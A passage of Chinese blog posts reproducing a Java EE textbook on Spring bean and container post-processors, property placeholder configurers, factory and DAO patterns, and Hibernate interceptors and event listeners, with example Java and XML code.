[java] 系统已经完成对steelAxe的初始化

[java] Spring执行依赖关系注入...

[java] 系统正在准备对chinese进行初始化...

[java] 正在执行初始化方法 afterPropertiesSet...

[java] 正在执行初始化方法   init...

[java] 系统已经完成对chinese的初始化

[java] 程序中已经完成了chinese bean的实例化...

[java] wawa钢斧砍柴真快

在配置文件中配置chinese实例时,并未指定name属性值。但程序执行时,name属性有了值,这就是Bean后处理器完成的,在Bean后处理器中判断Bean是否是Chinese实例,然后设置它的name属性。

容器中一旦注册了Bean后处理器,Bean后处理器会自动启动,在容器中每个Bean创建时自动工作,完成加入Bean后处理器需要完成的工作。

实现BeanPostProcessor接口的Bean后处理器可对Bean进行任何操作,包括完全忽略这个回调。BeanPostProcessor通常用来检查标记接口或将Bean包装成一个Proxy的事情。Spring的很多工具类,就是通过Bean后处理器完成的。

从主程序中看到,采用BeanFactory作为Spring容器时,必须手动注册BeanPost- Processor。而对于ApplicationContext,则无须手动注册。ApplicationContext可自动检测到容器中的Bean后处理器,自动注册。Bean后处理器会在Bean实例创建时,自动启动。即主程序采用如下代码,效果完全一样:

public class BeanTest

{

    public static void main(String[] args)throws Exception

    {

        ApplicationContext ctx = new ClassPathXmlApplicationContext
        ("bean.xml");

        Person p = (Person)factory.getBean("chinese");

        System.out.println("程序中已经完成了chinese bean的实例化...");

        p.useAxe();

    }

}

使用ApplicationContext作为容器,无须手动注册BeanPostProcessor。因此,如果需要使用Bean后处理器,Spring容器建议使用ApplicationContext,而不是BeanFactory。

6.1.2 Bean后处理器的用处

上一节介绍了一个简单的Bean后处理器,上面的Bean后处理器负责对容器中的Chinese Bean进行后处理,不管Chinese Bean如何初始化,总是将Chinese Bean的name属性设置为wawa。这种后处理看起来作用并不是特别大。

实际上,Bean后处理器完成的工作更加实际,例如生成Proxy。Spring框架本身提供了大量的Bean后处理器,这些后处理器负责对容器中的Bean进行后处理。

下面是Spring提供的两个常用的后处理器:

   ● BeanNameAutoProxyCreator,根据Bean实例的name属性,创建Bean实例的代理。

   ● DefaultAdvisorAutoProxyCreator,根据提供的Advisor,对容器中所有的Bean实例创建代理。

上面提供的两个Bean后处理器,都用于根据容器中配置的拦截器创建目标Bean代理,目标代理就在目标Bean的基础上修改得到。

注意:如果需要对容器中某一批Bean进行特定的处理,可以考虑使用Bean后处理器。

6.1.3 容器后处理器

除了上面提供的Bean后处理器外,Spring还提供了一种容器后处理器。Bean后处理器负责后处理容器生成的所有Bean,而容器后处理器则负责后处理容器本身。

容器后处理器必须实现BeanFactoryPostProcessor接口。实现该接口必须实现如下一个方法:

void postProcessBeanFactory(ConfigurableListableBeanFactory beanFactory)

实现该方法的方法体就是对Spring容器进行的处理,这种处理可以对Spring容器进行任意的扩展,当然也可以对Spring容器不进行任何处理。

类似于BeanPostProcessor,ApplicationContext可自动检测到容器中的容器后处理器,并且自动注册容器后处理器。但若使用BeanFactory作为Spring容器,则必须手动注册后处理器。

下面定义了一个容器后处理器,这个容器后处理器实现BeanFactoryPostProcessor接口,但并未对Spring容器进行任何处理,只是打印出一行简单的信息。该容器后处理器的代码如下:

public class MyBeanFactoryPostProcessor implements BeanFactoryPostProcessor

{

    //容器后处理器对容器进行的处理在该方法中实现

    public void postProcessBeanFactory(ConfigurableListableBeanFactory
    beanFactory)

        throws BeansException

    {

        System.out.println("程序对Spring所做的BeanFactory的初始化没有意
        见...");

    }

}

将该Bean作为普通Bean部署在容器中,然后使用ApplicationContext作为容器,容器会自动调用BeanFactoryPostProcessor处理Spring容器。程序执行效果如下:

[java] 程序对Spring所做的BeanFactory的初始化没有意见...

实现BeanFactoryPostProcessor接口的Bean后处理器不仅可对BeanFactory执行后处理,也可以对ApplicationContext容器执行后处理。容器后处理器还可用来注册额外的属性编辑器。

注意:Spring没有提供ApplicationContextPostProcessor。也就是说,对于Application- Context容器,一样使用BeanFactoryPostProcessor作为容器后处理器。

Spring已提供如下两个常用的容器后处理器,包括:

   ● PropertyResourceConfigurer,属性占位符配置器。

   ● PropertyPlaceHolderConfigurer,另一种属性占位符配置器。

下面将详细介绍这两种常用的容器后处理器。

6.1.4 属性占位符配置器

Spring提供了PropertyPlaceholderConfigurer,它是一个容器后处理器,负责读取Java属性文件里的属性值,并将这些属性值设置到Spring容器定义中。

通过使用PropertyPlaceholderConfigurer后处理器,可以将Spring配置文件中的部分设置放在属性文件中设置。这种配置方式当然有其优势:可以将部分相似的配置(如数据库的urls、用户名和密码)放在特定的属性文件中,如果只需要修改这部分配置,则无须修改Spring配置文件,修改属性文件即可。

下面的配置文件配置了PropertyPlaceholderConfigurer后处理器,在配置数据源Bean时,使用了属性文件中的属性值。配置文件的代码如下:

<?xml version="1.0" encoding="GBK"?>

<!-- beans是Spring配置文件的根元素,并且指定了Schema信息 -->

<beans xmlns="http://www.springframework.org/schema/beans"

       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"

       xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">

    <!-- 配置一个容器后处理器Bean -->

    <bean id="propertyConfigurer"

        class="org.springframework.beans.factory.config.
        PropertyPlaceholderConfigurer">

        <!-- locations属性指定属性文件的位置 -->

        <property name="locations">

            <list>

                <value>dbconn.properties</value>

                <!-- 如果有多个属性文件,依次在下面列出来 -->

            </list>

        </property>

    </bean>

    <!-- 定义数据源Bean,使用C3P0数据源实现 -->

    <bean id="dataSource" class="com.mchange.v2.c3p0.
    ComboPooledDataSource" destroy-method="close">

        <!-- 指定连接数据库的驱动 -->

        <property name="driverClass" value="${jdbc.driverClassName}"/>

        <!-- 指定连接数据库的URL -->

        <property name="jdbcUrl" value="${jdbc.url}"/>

        <!-- 指定连接数据库的用户名 -->

        <property name="user" value="${jdbc.username}"/>

        <!-- 指定连接数据库的密码 -->

        <property name="password" value="${jdbc.password}"/>

    </bean>

</beans>

在上面的配置文件中,配置driverClass和jdbcUrl等信息时,并未直接设置这些属性的属性值,而是设置了${jdbc.driverClassName}和${jdbc.url}属性值。这表明Spring容器将从propertyConfigurer指定属性文件中搜索这些key对应的value,并为该Bean的属性值设置这些value值。

如前所述,ApplicationContext会自动检测部署在容器的容器后处理器,无须额外的注册,容器自动注册。因此,只需提供如下Java Properties文件:

jdbc.driverClassName=com.mysql.jdbc.Driver

jdbc.url=jdbc:mysql://localhost:3306/j2ee

jdbc.username=root

jdbc.password=32147

通过这种方法,可从主XML配置文件中分离出部分配置信息。如果仅需要修改数据库连接属性,则无须修改主XML配置文件,只需要修改属性文件即可。采用属性占位符的配置方式,可以支持使用多个属性文件。通过这种方式,可将配置文件分割成多个属性文件,从而降低修改配置的风险。

注意:对于数据库连接等信息集中的配置,可以将其配置在Java属性文件中,但不要过多地将Spring配置信息抽离到Java属性文件中,否则可能会降低Spring配置文件的可读性。

6.1.5 另一种属性占位符配置器(PropertyOverrideConfigurer)

PropertyOverrideConfigurer是Spring提供的另一个容器后处理器,这个后处理器的额作用与上面介绍的容器后处理器作用大致相同。但也存在些许差别:PropertyOverride- Configurer使用的属性文件用于覆盖XML配置文件中的定义。即PropertyOverride- Configurer允许XML配置文件中有默认的配置信息。

如果PropertyOverrideConfigurer的属性文件有对应配置信息,XML文件中的配置信息被覆盖;否则,直接使用XML文件中的配置信息。使用PropertyOverrideConfigurer的属性文件,应是如下的格式:

beanName.property=value

beanName是属性占位符试图覆盖的Bean名,property是试图覆盖的属性名。看如下配置文件:

<?xml version="1.0" encoding="GBK"?>

<!-- beans是Spring配置文件的根元素,并且指定了Schema信息 -->

<beans xmlns="http://www.springframework.org/schema/beans"

       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"

       xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">

    <!-- 配置一个属性占位符Bean。ApplictionContext能自动识别
    PropertyPlaceholderConfigurer Bean -->

    <bean id="propertyOverrider"

        class="org.springframework.beans.factory.config.
        PropertyOverrideConfigurer">

        <property name="locations">

            <list>

                <value>dbconn.properties</value>

                <!-- 如果有多个属性文件,依次在下面列出来 -->

            </list>

        </property>

    </bean>

    <!-- 定义数据源Bean,使用C3P0数据源实现 -->

    <bean id="dataSource" class="com.mchange.v2.c3p0.
    ComboPooledDataSource" destroy-method="close">

        <!-- 指定连接数据库的驱动 -->

        <property name="driverClass" value="dd"/>

        <!-- 指定连接数据库的URL -->

        <property name="jdbcUrl" value="xx"/>

        <!-- 指定连接数据库的用户名 -->

        <property name="user" value="dd"/>

        <!-- 指定连接数据库的密码 -->

        <property name="password" value="xx"/>

    </bean>

</beans>

上面的配置文件中,指定数据源Bean的各种属性值时,只是随意指定了几个属性值,很明显通过这几个属性值无法连接到数据库服务。

但因为Spring容器中部署了一个PropertyOverrideConfigurer的容器后处理器,而且Spring容器使用ApplicationContext作为容器,它会自动检测容器中的容器后处理器,无须额外的注册,容器自动注册该后处理器。

PropertyOverrideConfigurer后处理器读取dbconn.properties文件中的属性,用于覆盖目标Bean的属性。因此,如果属性文件中有dataSource Bean属性的设置,则配置文件中指定的属性值将没有任何作用。

dbconn.properties属性文件如下:

dataSource.driverClassName=com.mysql.jdbc.Driver

dataSource.url=jdbc:mysql://wonder:3306/j2ee

dataSource.username=root

dataSource.password=32147

注意属性文件的格式必须是:

beanName.property=value

也就是说,dataSource必须是容器中真实存在的bean名,否则程序将出错。

注意:程序无法知道BeanFactory定义是否被覆盖。仅仅通过察看XML配置文件,无法知道配置文件的配置信息是否被覆盖。如有多个PorpertyOverrideConfigurer对同一Bean属性定义了覆盖,最后一个覆盖获胜。

posted @ 2009-07-19 10:12 jadmin 阅读(114) | 评论 (0)编辑 收藏

4.9 Struts与Hibernate的整合策略

前面介绍了Hibernate的一些相关知识点,距离Hibernate进入实际开发还有一段路要走。Hibernate作为持久层解决方案,必须与其他表现层技术组合在一起才可形成一个J2EE开发框架。经常看到网上一些朋友给出的Hibernate入门示例,居然在JSP页面中访问Hibernate Configuratioin对象。甚至看到某些所谓的精通J2EE书籍,也居然在JSP页面中访问Hibernate的Configuration对象——这种现状非常让人担忧,Hibernate并不是万金油,并不是说项目中使用Hibernate就怎么了不起了,而是通过使用Hibernate,可以让J2EE应用架构更科学,可以让开发者以更好的面向对象的方式进行项目开发。

反过来说,即使不使用Hibernate,而使用普通的JDBC持久化解决方案,也不应该在JSP(表现层)访问到JDBC API(持久层API)。下面介绍如何让Hibernate和Struts进行整合,整合Spring部分将在后面章节介绍。

4.9.1 工厂模式介绍

工厂模式是指当应用程序中A组件需要B组件协助时,并不是直接创建B组件的实例,而是通过B组件的工厂——该工厂可以生成某一个类型组件的实例。在这种模式下,A组件无须与B组件以硬编码方式耦合在一起,而只需要与B组件的工厂耦合。

对于A组件而言,它只关心工厂生产的实例是否满足某种规范,即实现了某个接口(满足接口规范,即可供自己正常调用)。这种模式提供了对象之间清晰的角色划分,降低了程序的耦合。

接口产生的全部实例通常实现相同接口,接口里定义全部实例共同拥有的方法,这些方法在不同的实现类中实现方式不同。程序调用者无须关心方法的具体实现,从而降低了系统异构的代价。

下面是工厂模式的示例代码:

//Person接口定义

public interface Person

{  

    /**

    * @param name 对name打招呼

    * @return 打招呼的字符串

    */

    public String sayHello(String name);

    /**

    * @param name 对name告别

    * @return 告别的字符串

    */

    public String sayGoodBye(String name);

}

该接口定义Person的规范,该接口必须拥有两个方法:能打招呼、能告别。规范要求实现该接口的类必须具有这两个方法:

//American类实现Person接口

public class American implements Person

{

    /**

    * @param name 对name打招呼

    * @return 打招呼的字符串

    */

    public String sayHello(String name)

    {

        return name + ",Hello";

    }

    /**

    * @param name 对name告别

    * @return 告别的字符串

    */

    public String sayGoodBye(String name)

    {

        return name + ",Good Bye";

    }

}

下面是实现Person接口的另一个实现类Chinese

public class Chinese implements Person

{

    /**

    * @param name 对name打招呼

    * @return 打招呼的字符串

    */

    public String sayHello(String name)

    {

        return name + ",您好";

    }

    /**

    * @param name 对name告别

    * @return 告别的字符串

    */

    public String sayGoodBye(String name)

    {

        return name + ",下次再见";

    }

}

然后看Person工厂的代码:

public class PersonFactory

{

    /**

    * 获得Person实例的工厂方法

    * @ param ethnic 调用该实例工厂方法传入的参数

    * @ return返回Person实例

    */

    public Person getPerson(String ethnic)

    {

        //根据参数返回Person接口的实例

        if (ethnic.equalsIgnoreCase("chin"))

        {

            return new Chinese();

        }

        else

        {

            return new American();

        }

    }

}

最简单的工厂模式的框架基本如上所示。

主程序部分仅仅需要与工厂耦合,而无须与具体的实现类耦合在一起。下面是主程序部分:

public class FactroyTest

{

    public static void main(String[] args)

    {

        //创建PersonFactory的实例,获得工厂实例

        PersonFactory pf = new PersonFactory();

        //定义接口Person的实例,面向接口编程

        Person p = null;

        //使用工厂获得Person的实例

        p = pf.getPerson("chin");

        //下面调用Person接口的方法

        System.out.println(p.sayHello("wawa"));

        System.out.println(p.sayGoodBye("wawa"));

        //使用工厂获得Person的另一个实例

        p = pf.getPerson("ame");

        //再次调用Person接口的方法

        System.out.println(p.sayHello("wawa"));

        System.out.println(p.sayGoodBye("wawa"));

    }

}

主程序从Person接口的具体类中解耦出来,而且程序调用者无须关心Person的实例化过程,角色划分清晰。主程序仅仅与工厂服务定位结合在一起,获得工厂的引用,程序将可获得所有工厂产生的实例。具体类的变化,重要接口不发生任何改变,调用者程序代码部分几乎无须发生任何改动。

4.9.2 使用DAO模式

第1章介绍了J2EE应用的架构,最上面的表现层,表现层与MVC框架的控制器交互,控制器负责调用业务逻辑组件的业务逻辑方法来处理用户请求,而业务逻辑组件则依赖于DAO组件提供的数据库原子操作,这种模式也被称为DAO模式。

由上面关于J2EE应用架构的介绍可见,控制器总是依赖于业务逻辑组件,而业务逻辑组件总是依赖于DAO组件。也就是说,控制器需要调用业务逻辑组件的方法,而业务逻辑组件需要调用DAO组件的方法。

DAO模式的分层非常清晰,持久层访问被封装在DAO层下,而决不会扩散到业务逻辑层,更不会在JSP页面(表现层)中进行持久层访问。

注意:即使在早期的Model 1(使用JSP + JavaBean创建应用的模式,没有使用MVC设计模式)模式下,持久层访问也被封装在JavaBean中完成,而不是直接在JSP页面中进行数据库访问。对于直接在JSP中访问持久层API的做法,可以说根本不了解J2EE开发。

那么控制器采用怎样的方式访问业务逻辑组件呢?应该采用工厂模式,让控制器与业务逻辑组件的实现类分离,仅与业务逻辑工厂耦合;同样,业务逻辑组件也应该采用工厂模式访问DAO模式,而不是直接与DAO实现类耦合。

后面的案例部分会介绍更实际的整合策略,此处仅仅介绍DAO模式下两个工厂模式策略。

4.9.3 DAO组件的工厂模式

在J2EE应用开发中,可扩展性是一个随时需要关注的问题。而DAO组件是经常需要增加的项目组件,如果每次需要增加一个DAO组件都需要修改代码是相当让人沮丧的事情。为了避免这种情况,采用XML配置文件来管理所有的DAO组件,这种DAO组件配置文件的代码如下:

<?xml version="1.0" encoding="GBK"?>

<daoContext>

    <!-- 配置应用需要的sonDao组件 -->

    <dao id="sonDao" class="org.yeeku.dao.impl.SonDaoImpl"/>

    <!-- 配置应用需要的personDao组件 -->

    <dao id="personDao" class="org.yeeku.dao.impl.PersonDaoImpl"/>

</daoContext>

查看上面的配置文件可以看出,应用中有配置了两个DAO组件,因为每个DAO组件在J2EE应用中仅需要一个实例就足够了,因此DAO工厂类提供了一个缓存池来缓存每个DAO实例,并负责在应用启动时创建所有的DAO。

下面是DAO工厂类的代码:

public class DaoFactory

{

    //用于缓存DAO实例的Map对象

    private Map<String, Dao> daoMap = new HashMap<String , Dao>();

    //将DAO工厂写成单态模式

    private static DaoFactory df;

    //DAO工厂的构造器

    private DaoFactory()throws Exception

    {

        //使用SAXReader来负责解析daoContext.xml配置文档

        Document doc = new SAXReader().read(new File(ConstantsUtil.realPath

        + "\\daoContext.xml"));

        //获取文档的根文档

        Element root = doc.getRootElement();

        //获取daoContext根元素的所有子元素

        List el = root.elements();

        for (Iterator it = el.iterator();it.hasNext() ; )

        {

            //每个子元素对应一个DAO组件

            Element em = (Element)it.next();

            String id = em.attributeValue("id");

            //获取实现类

            String impl = em.attributeValue("class");

            //通过反射,根据类名创建DAO组件的实例

            Class implClazz = Class.forName(impl);

            Dao d = (Dao)implClazz.newInstance();

            //将创建的DAO组件放入缓存池中

            daoMap.put(id, d);

        }

    }

    //单态模式必须提供一个入口方法来创建DAO工厂的方法

    public static DaoFactory instance()throws Exception

    {

        //如果DAO工厂还未创建

        if (df == null)

        {

            df = new DaoFactory();

        }

        return df;

    }

    //下面的方法用于根据DAO组件ID获取DAO组件

    public Dao getDao(String id)

    {

        return daoMap.get(id);

    }

}

通过上面的工厂类代码可以看出,DAO工厂负责初始化所有的DAO组件。系统每增加一个DAO组件,无须再修改任何代码,仅仅需要在daoContext.xml配置文件中增加配置即可。

注意:这种整合策略非常优秀。可扩展性很好,如果应用需要增加一个DAO组件,只需要修改配置文件,并提供相应的DAO组件实现即可。而且,如果有一天需要重构DAO组件,只须提供修改过的DAO组件实现类,而业务逻辑组件无须任何改变。

业务逻辑组件代码无须与DAO实现类耦合,业务逻辑组件的代码面向DAO组件的接口编程,将业务逻辑组件和DAO组件的耦合降低到接口层次。

4.9.4 业务逻辑组件的工厂模式

与此类似的是,业务逻辑组件完全可以采用这种编程模式,业务逻辑组件的配置文件代码如下:

<?xml version="1.0" encoding="GBK"?>

<appContext>

    <!-- 配置应用需要的业务逻辑组件,每个业务逻辑组件对应一个app元素 -->

    <app id="wawa" class="org.yeeku.service.impl.WawaServiceImpl"/>

</appContext>

业务逻辑组件工厂同样可根据该配置文件来初始化所有业务逻辑组件,并将业务逻辑组件放入缓存池中,让控制器与业务逻辑组件的耦合降低到接口层次。业务逻辑组件的工厂类代码如下:

public class AppFactory

{

    private Map<String , Object> appMap = new HashMap<String , Object>();

    //业务逻辑组件工厂采用单态模式

    private static AppFactory df;

    //业务逻辑组件工厂的私有构造器

    private AppFactory()throws Exception

    {

        //使用SAXReader来负责解析appContext.xml配置文档

        Document doc = new SAXReader().read(new File(ConstantsUtil.realPath

        + "\\appContext.xml"));

        //获取文档的根文档

        Element root = doc.getRootElement();

        //获取appContext根元素的所有子元素

        List el = root.elements();

        for (Iterator it = el.iterator();it.hasNext() ; )

        {

            //每个app元素对应一个业务逻辑组件

            Element em = (Element)it.next();

            String id = em.attributeValue("id");

            //根据配置文件指定的业务逻辑组件实现类来创建业务逻辑组件实例

            String impl = em.attributeValue("class");

            Class implClazz = Class.forName(impl);

            Object d = implClazz.newInstance();

            //将业务逻辑组件放入缓存池中

            appMap.put(id , d);

        }

    }

    //单态模式必须提供入口方法,用于创建业务逻辑组件工厂

    public static AppFactory instance()throws Exception

    {

        //如果业务逻辑组件工厂为空

        if (df == null)

        {

            df = new AppFactory();

        }

        return df;

    }

    //根据业务逻辑组件的id属性获取业务逻辑组件

    public Object getApp(String id)

    {

        //直接从缓存池中取出业务逻辑组件,并返回

        return appMap.get(id);

    }

}

从某种程度上来讲,这种方式与后来Spring的控制反转(Inversion of Control,IoC)容器有异曲同工之妙,但Spring的IoC容器则提供了更多的功能。

上面的两个类中都用到了一个ConstantsUtil,它仅用于保存一个全局变量,有一个public static的realPath属性,该属性用于保存应用在服务器中的路径。

posted @ 2009-07-19 10:08 jadmin 阅读(62) | 评论 (0)编辑 收藏

4.8 事 件 机 制

通常,Hibernate执行持久化过程中,应用程序无法参与其中。所有的数据持久化操作,对用户都是透明的,用户无法插入自己的动作。

通过事件框架,Hibernate允许应用程序能响应特定的内部事件,从而允许实现某些通用的功能,或对Hibernate功能进行扩展。

Hibernate的事件框架由两个部分组成:

   ● 拦截器机制,对于特定动作拦截,回调应用中的特定动作。

   ● 事件系统,重写Hibernate的事件监听器。

4.8.1 拦截器

通过Interceptor接口,可以从Session中回调应用程序的特定方法,这种回调机制可让应用程序在持久化对象被保存、更新、删除或加载之前,检查并修改其属性。

通过Interceptor接口,可以在数据进入数据库之间,对数据进行最后的检查,如果数据不符合要求,可以修改数据,从而避免非法数据进入数据库。当然,通常无须这样做,只是在某些特殊的场合下,才考虑使用拦截器完成检查功能。

使用拦截器可按如下步骤进行:

(1)定义实现Interceptor接口的拦截器类;

(2)通过Session启用拦截器,或者通过Configuration启用全局拦截器。

下面是一个拦截器的示例代码,该拦截器没有进行任何实际的操作,仅仅打印出标志代码:

public class MyInterceptor extends EmptyInterceptor

{

    //更新的次数

    private int updates;

    //插入的次数

    private int creates;

    //删除数据时,将调用onDelete方法

    public void onDelete(Object entity,Serializable id,Object[]

    state,String[] propertyNames, Type[] types)

    {

        //do nothing

    }

    //同步Session和数据库中的数据

    public boolean onFlushDirty(Object entity, Serializable id, Object[]

    currentState, Object[] previousState, String[] propertyNames, Type[]

                            types)

    {

        //每同步一次,修改的累加器加1

        updates++;

        for ( int i=0; i < propertyNames.length; i++ )

        {

            if ( "lastUpdateTimestamp".equals( propertyNames[i] ) )

            {

                currentState[i] = new Date();

                return true;

            }

        }

        return false;

        }

    //加载持久化实例时,调用该方法

    public boolean onLoad(Object entity,Serializable id,Object[]

    state,String[] propertyNames,Type[] types)

    {

        System.out.println("========================");

        for ( int i=0; i < propertyNames.length; i++ )

        {

            if ( "name".equals( propertyNames[i] ) )

            {

                System.out.println(state[i]);

                state[i] = "aaa";

                return true;

            }

        }

        return false;

    }

    //保存持久化实例时,调用该方法

    public boolean onSave(Object entity,Serializable id,Object[]

    state,String[] propertyNames,Type[] types)

    {

        creates++;

        for ( int i=0; i<propertyNames.length; i++ )

        {

            if ( "createTimestamp".equals( propertyNames[i] ) )

            {

                state[i] = new Date();

                return true;

            }

        }

        return false;

    }

    //提交刷新

    public void postFlush(Iterator entities)

    {

        System.out.println("创建的次数: " + creates + ", 更新的次数: " +

    updates);

    }

    public void preFlush(Iterator entities)

    {

        updates=0;

        creates=0;

    }

    //事务提交前,触发该方法

    public void beforeTransactionCompletion(Transaction tx)

    {

        System.out.println("事务即将结束");

    }

    //事务提交后,触发该方法

    public void afterTransactionCompletion(Transaction tx)

    {

        System.out.println("事务已经结束");

    }

}

在上面的拦截器实现类中,实现了很多方法,这些方法都是在Hibernate执行特定动作时自动调用。

完成了拦截器的定义,下面是关于拦截器的使用。拦截器的使用有两种方法:

   ● 通过SessionFactory的openSession(Interceptor in)方法打开一个带局部拦截器的Session。

   ● 通过Configuration的setInterceptor(Interceptor in)方法设置全局拦截器。

下面是使用局部拦截器的示例代码:

public class HibernateUtil

{

    //静态类属性 SessionFactory

    public static final SessionFactory sessionFactory;

    //静态初始化块,完成静态属性的初始化

    static

    {

        try

        {

            //采用默认的hibernate.cfg.xml来启动一个Configuration的实例

            Configuration configuration=new Configuration().configure();

            //由Configuration的实例来创建一个SessionFactory实例

            sessionFactory = configuration.buildSessionFactory();

        }

        catch (Throwable ex)

        {

            System.err.println("初始化sessionFactory失败." + ex);

            throw new ExceptionInInitializerError(ex);

        }

    }

    //ThreadLocal是隔离多个线程的数据共享,不存在多个线程之间共享资源,因此不再需要

    对线程同步   

    public static final ThreadLocal session = new ThreadLocal();

    //不加拦截器的打开Session方法

    public static Session currentSession() throws HibernateException

    {

        Session s = (Session) session.get();

        //如果该线程还没有Session,则创建一个新的Session

        if (s == null)

        {

            s = sessionFactory.openSession();

            //将获得的Session变量存储在ThreadLocal变量的Session里

            session.set(s);

        }

        return s;

    }

    //加拦截器的打开Session方法

    public static Session currentSession(Interceptor it) throws

    HibernateException

    {

        Session s = (Session) session.get();

        //如果该线程还没有Session,则创建一个新的Session

        if (s == null)

        {

            //以拦截器创建Session对象

            s = sessionFactory.openSession(it);

            //将获得的Session变量存储在ThreadLocal变量的Session里

            session.set(s);

            }

        return s;

    }

    //关闭Session对象

    public static void closeSession() throws HibernateException

    {

        Session s = (Session) session.get();

        if (s != null)

            s.close();

        session.set(null);

    }

}

上面的Hibernate工具类提供了两个currentSession方法,分别用于不使用拦截器获取Session对象和使用拦截器获取Session对象。

下面是主程序使用拦截器的代码片段:

private void testUser()

{

    //以拦截器开始Session

    Session session = HibernateUtil.currentSession(new MyInterceptor());

    //开始事务

    Transaction tx = session.beginTransaction();

    //执行下面的代码时,可以看到系统回调onSave等方法

    /*

    User u = new User();

    u.setName("Yeeku Lee");

    u.setAge(28);

    u.setNationality("中国");

    session.persist(u);

    u.setAge(29);

    u.setAge(30);

    session.persist(u);

    */

    //执行下面的代码时,可以看到系统回调onLoad等方法

    Object o = session.load(User.class , new Integer(1));

    System.out.println(o);

    User u = (User)o;

    System.out.println(u.getName());

    //提交事务时,可以看到系统回调事务相关方法

    tx.commit();

    HibernateUtil.closeSession();

}

4.8.2 事件系统

Hibernate 3的事件系统是功能更强大的事件框架,事件系统可以替代拦截器,也可以作为拦截器的补充来使用。

基本上,Session接口的每个方法都有对应的事件。如LoadEvent和FlushEvent等。当Session调用某个方法时,Hibernate Session会生成对应的事件,并激活对应的事件监听器。

系统默认监听器实现的处理过程,完成了所有的数据持久化操作,包括插入和修改等操作。如果用户定义了自己的监听器,则意味着用户必须完成对象的持久化操作。

例如,可以在系统中实现并注册LoadEventListener监听器,该监听器负责处理所有调用Session的load()方法的请求。

监听器是单态模式对象,即所有同类型的事件处理共享同一个监听器实例,因此监听器不应该保存任何状态,即不应该使用成员变量。

使用事件系统可按如下步骤进行:

(1)实现自己的事件监听器类;

(2)注册自定义事件监听器,代替系统默认的事件监听器。

实现用户的自定义监听器有如下3个方法:

   ● 实现对应的监听器接口,这是不可思议的,实现接口必须实现接口内的所有方法,关键是必须实现Hibernate对应的持久化操作,即数据库访问,这意味着程序员完全取代了Hibernate的底层操作。

   ● 继承事件适配器,可以选择性地实现需要关注的方法,但依然试图取代Hibernate完成数据库的访问,这也不太现实。

   ● 继承系统默认的事件监听器,扩展特定方法。

实际上,前两种方法很少使用。因为Hibernate的持久化操作也是通过这些监听器实现的,如果用户取代了这些监听器,则应该自己实现所有的持久化操作,这意味着用户放弃了Hibernate的持久化操作,而改为自己完成Hibernate的核心操作。

通常推荐采用第三种方法实现自己的事件监听器。Hibernate默认的事件监听器都被声明成non-final,从而方便用户继承。

下面是用户自定义监听器的示例:

//自定义LoadListener,继承默认的DefaultLoadEventListener实现类

public class MyLoadListener extends DefaultLoadEventListener

{

    //在LoadEventListener接口仅仅定义了这个方法

    public Object onLoad(LoadEvent event, LoadEventListener.LoadType

    loadType)throws HibernateException

    {

        //先调用父类的onLoad方法,从而完成默认的持久化操作

        Object o = super.onLoad(event, loadType);

        //加入用户的自定义处理

        System.out.println("自定义的load事件");

        System.out.println(event.getEntityClassName() + "==========" +

        event.getEntityId());

        return o;

    }

}

下面还有一个MySaveListener,用于监听SaveEvent事件:

//自定义SavaListener,继承默认的DefaultSaveEventListener实现类

public class MySaveListener extends DefaultSaveEventListener

{

    //该方法完成实际的数据插入动作

    protected Serializable performSaveOrUpdate(SaveOrUpdateEvent event)

    {

        //先执行用户自定义的操作

        System.out.println(event.getObject());

        //调用父类的默认持久化操作

        return super.performSaveOrUpdate(event);

    }

}

注意:扩展用户自定义监听器时,别忘了在方法中调用父类的对应方法。

注册用户自定义监听器也有两种方法:

   ● 编程式,通过使用Configuration对象编程注册。

   ● 声明式,在Hibernate的XML格式配置文件中进行声明,使用Properties格式的配置文件将无法配置自定义监听器。

下面的示例代码,通过编程方式使用自定义监听器:

public class HibernateUtil2

{

    //静态类属性 SessionFactory

    public static final SessionFactory sessionFactory;

    //静态初始化块,完成静态属性的初始化

    static

    {

        try

        {

            Configuration cfg = new Configuration();

            //注册loadEventListener监听器

            cfg.getSessionEventListenerConfig().setLoadEventListener

            ( new MyLoadListener() );

            //注册saveListener监听器

            cfg.getSessionEventListenerConfig().setSaveEventListener

            (new MySaveListener() );

            //由Configuration实例来创建一个SessionFactory实例

            sessionFactory = cfg.configure().buildSessionFactory();

        }

        catch (Throwable ex)

        {

            System.err.println("初始化sessionFactory失败." + ex);

            throw new ExceptionInInitializerError(ex);

        }

    }

    //ThreadLocal是隔离多个线程的数据共享,不存在多个线程之间共享资源,因此不再需要

    对线程同步

    public static final ThreadLocal session = new ThreadLocal();

    //不加拦截器的打开Session方法

    public static Session currentSession() throws HibernateException

    {

        Session s = (Session) session.get();

        //如果该线程还没有Session,则创建一个新的Session

        if (s == null)

        {

            s = sessionFactory.openSession();

            //将获得的Session变量存储在ThreadLocal变量的Session里

            session.set(s);

        }

        return s;

    }

    //关闭Session对象

    public static void closeSession() throws HibernateException

    {

        Session s = (Session) session.get();

        if (s != null)

            s.close();

        session.set(null);

    }

}

如果不想修改代码,也可以在配置文件中使用事件监听器,注册事件监听器的Hibernate配置文件代码如下:

<?xml version='1.0' encoding='GBK'?>

<!-- Hibernate配置文件的文件头,包含DTD等信息 -->

<!DOCTYPE hibernate-configuration PUBLIC

        "-//Hibernate/Hibernate Configuration DTD 3.0//EN"

        "http://hibernate.sourceforge.net/hibernate-configuration-3.0.

        dtd">

<!-- Hibernate配置文件的根元素 -->

<hibernate-configuration>

    <session-factory>

        <!—设置数据库驱动 -->

        <property name="connection.driver_class">com.mysql.jdbc.Driver

        </property>

        <!-- 数据库服务的url -->

        <property name="connection.url">jdbc:mysql://localhost/hibernate

        </property>

        <!-- 数据库服务的用户名 -->

        <property name="connection.username">root</property>

        <!-- 数据库服务的密码 -->

        <property name="connection.password">32147</property>

        <!-- JDBC connection pool (use the built-in) -->

        <property name="connection.pool_size">5</property>

        <!-- 设置数据库方言 -->

        <property name="dialect">org.hibernate.dialect.MySQLDialect

        </property>

        <!-- 显示Hibernate生成的SQL语句 -->

        <property name="show_sql">true</property>

        <!-- 配置应用启动时,是否启动自动建表 -->

        <property name="hbm2ddl.auto">update</property>

        <!-- 列出所有的持久化映射文件 -->

        <mapping resource="User.hbm.xml"/>

        <!-- 注册事件监听器 -->

        <listener type="load" class="lee.MyLoadListener"/>

        <listener type="save" class="lee.MySaveListener"/>
